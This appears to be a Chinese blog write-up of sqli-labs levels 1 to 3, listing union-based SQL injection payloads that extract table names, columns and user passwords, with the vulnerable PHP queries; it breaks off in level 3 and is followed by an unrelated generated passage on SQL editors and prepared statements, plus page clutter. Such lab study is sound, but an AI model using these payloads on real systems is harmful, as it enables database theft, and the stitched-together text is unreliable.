sqllab 1-8

本文详细介绍了Sql注入的各种类型,包括基于错误的单引号字符注入、整数注入、字符型注入、双引号字符注入、布尔盲注和报错注入。通过对不同注入方法的实例分析,帮助读者理解和防范Sql注入攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

写在前面

1.本着理解sql代码点来学习。
2.想要了解多种sql注入的类型和方式。
3.学了两年,啥也不是,现在反过来反省反省。
4.活在自己舒适区,想试图跳出来,别让自己在该奋斗的年纪选择躺平。
5.如有错误,希望各位师傅提出,我及时改正。

Sql注入

简介:常见的数据库攻击手段,用户通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常 规代码的过程。
类型:
1.字符型注入
2.数字型注入
3.盲注
4.报错注入
5.联合查询注入
6.堆查询注入

less 1 基于错误的单引号字符注入

尝试手工注入,输入单引号,返回错误提示。
在这里插入图片描述   报错信息:near “1” LIMIT 0,1‘ at line 1
这里-1的作用是查询不存在的值,使得结果为空,-1’ or 1=1 # //这里注释用错,换成 --+即可。
在这里插入图片描述
接下来就是进行常规的注入

-1' order by 1 --+ //显示上面的图,说明存在列数为1
-1' order by 4 --+ //报错,显示Unknown column '4' in 'order clause',说明存在列数为3
-1' union select 1,2,3 --+ //显示页面的位置
-1' union select 1,2,database() --+ //爆库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+   //爆表
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+ //爆列
-1 ' union select 1,username,password from users --+ //爆数据

sql源码

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  传入id类型为int,传入1‘#,前面的语句为’1‘,#将后面的给注释,加个;让服务器查找到并结束语句
在这里插入图片描述

less 2 基于错误的get整数注入

尝试单引号注入,发现注入得到
在这里插入图片描述
 猜测为get整数型注入,原因是有两双引号,多余一个引号没有闭合,把逗号去掉,显示数据。

-1 order by 1 --+       //先判断字段,由于是-1所以不显示数据,1的话就显示1的数据,当到4的时候显示Unknown column '4' in 'order clause',得到字段为3
-1 union select 1,database() --+ //获取数据库
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
-1 union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数据

less 3 基于错误的字符型注入

加单引号,注入发现问题
在这里插入图片描述
 猜测类型为字符型注入,查看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; //这里增加了括号,用")"进行闭合即可。
-1') order by 1 --+ //
### SQL编辑器与SQLLab平台介绍 #### SQL编辑器概述 SQL编辑器是一种用于编写、执行和管理结构化查询语言(SQL)语句的应用程序。这类工具通常提供语法高亮显示、自动完成功能以及错误检测等功能,帮助开发者更高效地工作。对于学习者而言,这些特性有助于理解复杂的查询逻辑并减少编程中的常见错误。 #### SQLLab平台特点 SQLLab 是一个开源的数据探索和可视化平台,允许用户通过直观界面构建复杂查询而无需深入了解底层技术细节。该平台支持多种数据源连接,包括但不限于MySQL、PostgreSQL和其他关系型数据库管理系统(RDBMS)[^1]。它不仅提供了基本的CRUD操作接口,还集成了丰富的图表展示选项以便于数据分析人员快速获得洞察力。 #### 使用场景举例 当涉及到像`Seed-Labs 2.0`这样的教育环境中时,学生可以利用SQLLab来实践所学的安全编码技巧,比如采用预处理语句防止SQL注入攻击。具体来说,在PHP应用程序中可以通过如下方式实现安全查询: ```php $stmt = $mysqli->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id=? AND password=?"); $stmt->bind_param('is', $id, $hashed_password); // 'i'表示整数,'s'字符串 $result = $stmt->execute(); ``` 此代码片段展示了如何使用准备好的陈述(prepared statement)替代原始存在风险的动态拼接SQL字符串[^3]。这有效阻止了恶意输入被解释成额外的有效载荷从而保护了系统的安全性。 #### 安全性和权限控制的重要性 值得注意的是,除了正确实施预防措施外,还需要考虑访问级别设置以确保只有授权个人能够接触到敏感信息。例如,在某些情况下如果没有适当的身份验证机制,则任何拥有SQL编辑器访问权的人都可能检索整个数据库的内容[^2]。因此建议始终遵循最小特权原则授予必要的读取/写入权限给特定角色或组群成员。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值